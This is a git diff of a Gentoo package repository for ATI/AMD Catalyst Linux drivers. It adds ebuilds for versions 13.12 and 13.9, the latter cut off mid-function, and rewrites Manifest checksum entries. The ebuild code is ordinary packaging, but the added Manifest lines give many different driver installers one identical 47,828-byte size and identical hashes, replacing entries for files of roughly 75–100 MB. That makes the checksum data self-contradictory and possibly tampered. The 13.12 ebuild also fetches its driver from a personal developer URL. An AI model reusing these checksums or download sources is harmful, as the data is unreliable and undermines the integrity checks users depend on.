+DIST amd-driver-installer-12-4-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-6-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12-8-x86.x86_64.zip 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-12.6-legacy-x86.x86_64.zip 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST amd-driver-installer-catalyst-12.10-x86.x86_64.zip 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
DIST amd-driver-installer-catalyst-13.1-linux-x86.x86_64.zip 114850263 SHA256 67898a922b6b58f25a276a144f16b19014f79c39e4d44d8d2883a467d31e34ad SHA512 30763ab7f47ac22c5b5055495e2d8ae6cc2c8e5ce711fa389f1145a48da2799020c2b8cbf082759d93628017860c39d69337f42ce21b78e1d60c9eda32096df9 WHIRLPOOL ee5dc85a89bc56858ef1c2bcdc6cbfde7e2f9e5675d209c1f6db877e0104cc536f1e18139f0b991a064b14b231a982770eef47368ea281067d62647b4c5365a5
-DIST ati-driver-installer-11-10-x86.x86_64.run 77926379 SHA256 a245e0305051313767fef1be88693702fccfb3f11c18a98f61c233af17e85f9e
-DIST ati-driver-installer-11-11-x86.x86_64.run 97090080 SHA256 fcd51cdc0c7572d443f5ce54576888f09efaced10b12ccf9fa775c81eaade013
-DIST ati-driver-installer-11-12-x86.x86_64.run 99618112 SHA256 0179d1f0425036e50b637e5153b0c64b25836d09e9d22bc50edfbdf6aed32b42
-DIST ati-driver-installer-11-6-x86.x86_64.run 75503458 SHA256 3dbb7cf1a5493588d872eb29b7376eb5db3913c4f35d631c3183d168eed1f67f
-DIST ati-driver-installer-11-8-x86.x86_64.run 75754239 SHA256 71e0194daef7a50c6d0d3b5712b05375a003d452e39c754278336c3811a2acdf
-DIST ati-driver-installer-11-9-x86.x86_64.run 76564617 SHA256 d9ad9c8e0bd250ac41c39d9b8e9f77efc82631f4bebacb82ddde982a86530d56
+DIST ati-driver-installer-11-10-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-11-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-12-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-6-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-8-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
+DIST ati-driver-installer-11-9-x86.x86_64.run 47828 SHA256 356679212eae39c91a9e6dc22f41e4eb033ef0249aaeb12de34ede6fa1b55d6d SHA512 48d567f2891b522bffec2b3baaf0cd872073ad5bb960a4d8b4847d901fd4560c6b79973f6c6c82d09c8dd5b67f64f3b65140091b0d997735364a63e611f3f37d WHIRLPOOL 4768847f08f16987c8a506fa5f720a994f0f9f550373295020c72c801692b7998edc70027602a2e1c41f257638a73bc09813115b98b6ee4b583449bb7be78e4a
DIST xvba-sdk-0.74-404001.tar.gz 583847 SHA256 731a2c489f2fb5d7318c1976061b26c1057a696f46d09dcf55fbada97fed17eb SHA512 aa1dd52b59eeeabd026d8b76e3b75eaf02587ef286438ba28884afeef5a5efaf50283b5ee4f5b81b12cf79cb4ec77c9a235a886b29fb7cdf850c9779f4b07b35 WHIRLPOOL 69917b746d353a884512e97b9d9a9b89e6f51add3119e69ddd119d51c0c3f2820b93a449fe42bd76d671dc505f92bf25b7f2c5868b33768fc68a19596e460951
-EBUILD ati-drivers-11.10.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
-EBUILD ati-drivers-11.11.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
-EBUILD ati-drivers-11.12.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
-EBUILD ati-drivers-11.6.ebuild 7216 SHA256 5b7e43780f2ed164f0ed60f78b16fa7870bee39b0f5c02ba0b2efcde80f1dc93 SHA512 e2d933c2270f1ff4e0d02280c726b4db3f179d692933edcd15f38fe93b5c55204856ecc092934bbcff7f678a6aeece38df184c938d712e7b8b5764aea5e9b801 WHIRLPOOL 8a4c436586bd3ca81a5b222af032002ccc0a9c1d8111b7025f152c192e750958a59a356404de6feaeecb4b94b5ba5287d916d07285988f8e0dce3a746f0eb1e6
-EBUILD ati-drivers-11.8.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
-EBUILD ati-drivers-11.9.ebuild 7152 SHA256 cab997c19267e119ef24017c65178f9ebbb7744d224cf9858a197cf19459da0d SHA512 5a2ede4fe8eb731a0161ec39eaf15c9e315624669a2ca6084b3ebbb7f38eb94586a7faa6e61eba29e97f4802f9f748752781d4675af97e7e756e2bd21b2286ce WHIRLPOOL 6097ce0703176f7f9331b037d872ff8671c6d16effde5d5e613b082018323dcd4c7de9d5c6297bb1b5fb16a458d3dc8f5feb2e099f44839358d6713032fd8a02
-EBUILD ati-drivers-12.1-r1.ebuild 7304 SHA256 6654771156f69919a895b5fb0f5444e3d41af69355e116d7d59b2549cbac501d SHA512 507b024789e65fbba470a4b4c07b8307a7518227888fce24a05fa27ac607a49696bb037973d9adda3e350971ba3210205ae18e3831bf08149556a51fa4815fd1 WHIRLPOOL c0b592bb9a72a73005b8cbf5b0ee3a99ffe59548553e8185457093b50dc2902740226302bb3d77b2212226508f90dfef378d7127de994af29e4528ea3badc118
-EBUILD ati-drivers-12.10.ebuild 7399 SHA256 c7619e83298e226f934771621bdb3d00db2d4c303ca541ca024aa9a8fe749d5d SHA512 b85b158fedabb772ae843bd0a40400bbdc3d027de660be2f38dba6051aa3087cbd88033ce1d278644e6ba468d4d2053c7e9b2788e354a37a9f8dddd1c76a83df WHIRLPOOL d9b54557002e5948f322a2373f78a1de98429818d966c012814d924a6eb73f429e6bf2765aa46bc393b19804f7c34404d6233f111bfdc3ed313b031ae5900b6d
-EBUILD ati-drivers-12.2.ebuild 7403 SHA256 67d5116db4cf555f142adf9f22127403f52705477ca42af269efc79963b35f3e SHA512 0980eb900443d71500a3a2796eb3c7edfbd7e65c9b79b3b4988cc2a53f4e4a84df7e8db583a23fab024d63a2d417125433bc6af204719f1b8150619976cad759 WHIRLPOOL d4ab46b77020f0a2b65ca5f33d779da1ca40236b9ef27d91eaf44136b95776c8fb00d91b4344c870358d1237a91c5f70d5b9ad0033344371c43363f5626fe5d6
-EBUILD ati-drivers-12.3.ebuild 7403 SHA256 67d5116db4cf555f142adf9f22127403f52705477ca42af269efc79963b35f3e SHA512 0980eb900443d71500a3a2796eb3c7edfbd7e65c9b79b3b4988cc2a53f4e4a84df7e8db583a23fab024d63a2d417125433bc6af204719f1b8150619976cad759 WHIRLPOOL d4ab46b77020f0a2b65ca5f33d779da1ca40236b9ef27d91eaf44136b95776c8fb00d91b4344c870358d1237a91c5f70d5b9ad0033344371c43363f5626fe5d6
-EBUILD ati-drivers-12.4.ebuild 7523 SHA256 a49982cbdc74bd4b469965c39621076c879b34b85921411f634189740129fa7e SHA512 a5424d7b9f4aec53c3eedd82b6fe54f3999cca4c126c3459084abefbf8e715c67b56ea30cc1b177364cbede8b69517b7ef7b513727767fc65790ba036c5ec0e7 WHIRLPOOL 9c1e6f64cc31e17db68e49479cf4250c1dd6a652dab8b34052c1d7f43c9c88a602a806e6356a4d6054befcf1dfacb4676c59268ff648905723628a4a78805f1c
-EBUILD ati-drivers-12.6.ebuild 7752 SHA256 ad803b497c5082dbf25fd7967a5e1ea18504ee5db266f0966600c1819e9ed636 SHA512 1e179237eca74034992223688364416ab4128b1ec2761951a83d68a776d81d93abb6759fc91c05a9f8a90e9f17cc50ee841df6b82168dd02799e53b70d50a818 WHIRLPOOL f338e9344c3738893f97ae1d4a5de6f9580f525cad79492215db435ec1b3ceb7bb9a41b73a76e9fdd7ce2f89e4f34d89f8d77cc715e296b1340baacb1d99f34c
-EBUILD ati-drivers-12.6_beta_pre897.ebuild 7366 SHA256 7ff0e54f530b6ea370f78acfc80e804a551d60f9769f99b49d1590b303618a62 SHA512 6670b2d5aeb3b7be2bc30d735cc058322d7b9d36d269c61b4e38b19a621e97f6bfee72d7bb36530e4e09f7bf87c96145a3ce315a42264dfe92010d014ab2764a WHIRLPOOL 125b054977cca0266a0a94a341d07cb18df8d7b584d3d0caebc75517e74456a7032e716463d588dda229062262d224879a300d43317c5acb0b5849be8a21bad4
-EBUILD ati-drivers-12.8.ebuild 7276 SHA256 f40522909c982ca2b3a0c81efcfbea93575491c251130a2c952ed97013f6fcef SHA512 bd3938a12a85ecac418022f0be3e318f8142a985ef26ffd95ac931971ad09df1f9ca238ac1692a1fe6752085e75c7aa1d08cf7b952a92e44bab634ffa7aff3ff WHIRLPOOL da5c2bbd249700b1f1e51610e2fd6ed369be7b2a218c22dd883cbb14ac30ba204f15f850dcac73aefe9dca54772ef6e03052f7cd371a7fc3ced13f255a16bf36
-EBUILD ati-drivers-13.1.ebuild 8255 SHA256 fbb05e616ba13e81e95659927be00ae85c17c27c4cf4b51c69d7b7b7268b2ec1 SHA512 706069a30d980f049bb402f4979c9c20262ffeaf0844fd4c1d3cfd63eecf9622a6bbd54441b6ef8d0653b2ceffcfc270666e055c37153486e52462b4146553e5 WHIRLPOOL 12239ae2782fb8fc8f298785d790d9c640fee57e2fa95a3ab50cdbabaa77cc4ba4425ddb2dfa0cc47624ab3b49486ef883ba864c598b6f4fbdff1de5369a2630
-EBUILD ati-drivers-13.4.ebuild 6506 SHA256 b07cf387bc966984c4813d6e1f48ab9ccc857b79d289d624df1786d868fdf00c SHA512 0c88520c2dc4d6d4428c34acfceeb842bc72cb3e3b472d55c8516dd21f61d0caca081e2ef45cbe6b537b21c2ff5850e9386f473e5ac6e237be3724fb08f33c24 WHIRLPOOL f9dd28392d6b8a15b8c4929763fda61244706d4494fcdf1529bdca56826d1473625c0904a1084aa0ddb657049d43cc3951e708de6c10532e79b800cbfd591b5f
diff --git a/x11-drivers/ati-drivers/ati-drivers-13.12.ebuild b/x11-drivers/ati-drivers/ati-drivers-13.12.ebuild
new file mode 100644
index 00000000..5af335c3
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-13.12.ebuild
@@ -0,0 +1,204 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator pax-utils
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+#RUN="${WORKDIR}/amd-catalyst-13.11-beta1-linux-x86.x86_64.run"
+SLOT="1"
+# Uses javascript for download YESSSS
+#DRIVERS_URI="http://www2.ati.com/drivers/linux/amd-catalyst-13.12-linux-x86.x86_64.zip"
+DRIVERS_URI="http://dev.gentooexperimental.org/~scarabeus/amd-catalyst-13.12-linux-x86.x86_64.zip"
+XVBA_SDK_URI="http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib disable-watermark pax_kernel"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+RESTRICT="bindist test"
+
+RDEPEND="x-multilib? ( ~x11-drivers/ati-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+ ~x11-drivers/ati-userspace-${PV}
+ sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+pkg_pretend() {
+ local CONFIG_CHECK="~MTRR ~!DRM ACPI PCI_MSI !LOCKDEP !PAX_KERNEXEC_PLUGIN_METHOD_OR"
+ use amd64 && CONFIG_CHECK+=" COMPAT"
+
+ local ERROR_MTRR="CONFIG_MTRR required for direct rendering."
+ local ERROR_DRM="CONFIG_DRM must be disabled or compiled as a module and not loaded for direct
+ rendering to work."
+ local ERROR_LOCKDEP="CONFIG_LOCKDEP (lock tracking) exports the symbol lock_acquire
+ as GPL-only. This prevents ${P} from compiling with an error like this:
+ FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+ local ERROR_PAX_KERNEXEC_PLUGIN_METHOD_OR="This config option will cause
+ kernel to reject loading the fglrx module with
+ \"ERROR: could not insert 'fglrx': Exec format error.\"
+ You may want to try CONFIG_PAX_KERNEXEC_PLUGIN_METHOD_BTS instead."
+ local ERROR_BKL="CONFIG_BKL must be enabled for kernels 2.6.37-2.6.38."
+
+ # workaround until bug 365543 is solved
+ linux-info_pkg_setup
+ require_configured_kernel
+
+ kernel_is ge 2 6 37 && kernel_is le 2 6 38 && CONFIG_CHECK+=" BKL"
+ check_extra_config
+ if ! linux_chkconfig_present AGP && \
+ ! linux_chkconfig_present PCIEPORTBUS; then
+ ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+ ewarn "Direct rendering will not work."
+ fi
+
+ if ! has XT ${PAX_MARKINGS} && use pax_kernel; then
+ ewarn "You have disabled xattr pax markings for portage."
+ ewarn "This will likely cause programs using ati-drivers provided"
+ ewarn "libraries to be killed kernel."
+ fi
+}
+
+pkg_setup() {
+ MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+ BUILD_TARGETS="kmod_build"
+ linux-mod_pkg_setup
+ BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+ BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+ if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+ BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+ else
+ BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+ fi
+ # Define module dir.
+ MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+ # get the xorg-server version and set BASE_DIR for that
+ BASE_DIR="${S}/xpic"
+
+ # amd64/x86
+ if use amd64 ; then
+ MY_BASE_DIR="${BASE_DIR}_64a"
+ PKG_LIBDIR=lib64
+ ARCH_DIR="${S}/arch/x86_64"
+ else
+ MY_BASE_DIR="${BASE_DIR}"
+ PKG_LIBDIR=lib
+ ARCH_DIR="${S}/arch/x86"
+ fi
+
+ elog
+ elog "Please note that this driver only supports graphic cards based on"
+ elog "Evergreen chipset and newer."
+ elog "This includes the AMD Radeon HD 5400+ series at this moment."
+ elog
+ elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+ elog "For migration information please refer to:"
+ elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+ einfo
+}
+
+src_unpack() {
+ local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+ DRIVERS_DISTFILE=${DRIVERS_URI##*/}
+ XVBA_SDK_DISTFILE=${XVBA_SDK_URI##*/}
+
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ else
+ #please note, RUN may be insanely assigned at top near SRC_URI
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ [[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+ else
+ RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+ fi
+ sh "${RUN}" --extract "${S}" 2>&1 > /dev/null || die
+ fi
+
+ mkdir xvba_sdk
+ cd xvba_sdk
+ unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+ # version patches
+ # epatch "${FILESDIR}"/kernel/${PV}-*.patch
+ if use debug; then
+ sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+ "${MODULE_DIR}/firegl_public.c" \
+ || die "Failed to enable debug output."
+ fi
+
+ # see http://ati.cchtml.com/show_bug.cgi?id=495
+ #epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+ # first hunk applied upstream second (x32 related) was not
+ epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+ # compile fix for AGP-less kernel, bug #435322
+ epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+ # Compile fix for kernel typesafe uid types #469160
+ epatch "${FILESDIR}/typesafe-kuid.diff"
+
+ epatch "${FILESDIR}/ati-drivers-13.8-beta-include-seq_file.patch"
+
+ epatch "${FILESDIR}/check-for-iommu-only-if-iommu-is-supported.patch"
+
+ # Fix build on new kernels
+ epatch "${FILESDIR}/ati-drivers-13.12-acpi.patch"
+
+ # Linux 3.13 support
+ epatch "${FILESDIR}/buildfix_kernel_3.13.patch"
+
+ # Compile fix, https://bugs.gentoo.org/show_bug.cgi?id=454870
+ use pax_kernel && epatch "${FILESDIR}/const-notifier-block.patch"
+
+ cd "${MODULE_DIR}"
+ # bugged fglrx build system, this file should be copied by hand
+ cp ${ARCH_DIR}/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+ convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+ # When built with ati's make.sh it defines a bunch of macros if
+ # certain .config values are set, falling back to less reliable
+ # detection methods if linux/autoconf.h is not available. We
+ # simply use the linux/autoconf.h settings directly, bypassing the
+ # detection script.
+ sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+ sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+ || die "MODVERSIONS sed failed"
+ cd "${S}"
+
+ mkdir extra || die "mkdir extra failed"
+ cd extra
+ unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+ linux-mod_src_compile
+}
+
+src_install() {
+ linux-mod_src_install
+}
+
+pkg_postinst() {
+ elog "If you experience unexplained segmentation faults and kernel crashes"
+ elog "with this driver and multi-threaded applications such as wine,"
+ elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+ linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+ linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+ linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-13.9.ebuild b/x11-drivers/ati-drivers/ati-drivers-13.9.ebuild
new file mode 100644
index 00000000..1105fa62
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-13.9.ebuild
@@ -0,0 +1,200 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator pax-utils
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+SLOT="1"
+DRIVERS_URI="https://www2.ati.com/drivers/linux/amd-catalyst-13.9-linux-x86.x86_64.zip"
+XVBA_SDK_URI="http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib disable-watermark pax_kernel"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+RESTRICT="bindist test"
+
+RDEPEND="x-multilib? ( ~x11-drivers/ati-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+ ~x11-drivers/ati-userspace-${PV}
+ sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+CONFIG_CHECK="~MTRR ~!DRM ACPI PCI_MSI !LOCKDEP !PAX_KERNEXEC_PLUGIN_METHOD_OR"
+ERROR_MTRR="CONFIG_MTRR required for direct rendering."
+ERROR_DRM="CONFIG_DRM must be disabled or compiled as a module and not loaded for direct
+ rendering to work."
+ERROR_LOCKDEP="CONFIG_LOCKDEP (lock tracking) exports the symbol lock_acquire
+ as GPL-only. This prevents ${P} from compiling with an error like this:
+ FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+ERROR_PAX_KERNEXEC_PLUGIN_METHOD_OR="This config option will cause
+ kernel to reject loading the fglrx module with
+ \"ERROR: could not insert 'fglrx': Exec format error.\"
+ You may want to try CONFIG_PAX_KERNEXEC_PLUGIN_METHOD_BTS instead."
+
+_check_kernel_config() {
+ if ! linux_chkconfig_present AGP && \
+ ! linux_chkconfig_present PCIEPORTBUS; then
+ ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+ ewarn "Direct rendering will not work."
+ fi
+
+ kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+ die "CONFIG_BKL must be enabled for kernels 2.6.37-2.6.38."
+ fi
+
+ if use amd64 && ! linux_chkconfig_present COMPAT; then
+ die "CONFIG_COMPAT must be enabled for amd64 kernels."
+ fi
+}
+
+pkg_pretend() {
+ # workaround until bug 365543 is solved
+ linux-info_pkg_setup
+ require_configured_kernel
+ _check_kernel_config
+
+ if ! has XT ${PAX_MARKINGS} && use pax_kernel; then
+ ewarn "You have disabled xattr pax markings for portage."
+ ewarn "This will likely cause programs using ati-drivers provided"
+ ewarn "libraries to be killed kernel."
+ fi
+}
+
+pkg_setup() {
+ MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+ BUILD_TARGETS="kmod_build"
+ linux-mod_pkg_setup
+ BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+ BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+ if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+ BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+ else
+ BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+ fi
+ # Define module dir.
+ MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+ # get the xorg-server version and set BASE_DIR for that
+ BASE_DIR="${S}/xpic"
+
+ # amd64/x86
+ if use amd64 ; then
+ MY_BASE_DIR="${BASE_DIR}_64a"
+ PKG_LIBDIR=lib64
+ ARCH_DIR="${S}/arch/x86_64"
+ else
+ MY_BASE_DIR="${BASE_DIR}"
+ PKG_LIBDIR=lib
+ ARCH_DIR="${S}/arch/x86"
+ fi
+
+ elog
+ elog "Please note that this driver only supports graphic cards based on"
+ elog "Evergreen chipset and newer."
+ elog "This includes the AMD Radeon HD 5400+ series at this moment."
+ elog
+ elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+ elog "For migration information please refer to:"
+ elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+ einfo
+}
+
+src_unpack() {
+ local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+ DRIVERS_DISTFILE=${DRIVERS_URI##*/}
+ XVBA_SDK_DISTFILE=${XVBA_SDK_URI##*/}
+
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ else
+ #please note, RUN may be insanely assigned at top near SRC_URI
+ if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+ unpack ${DRIVERS_DISTFILE}
+ [[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+ else
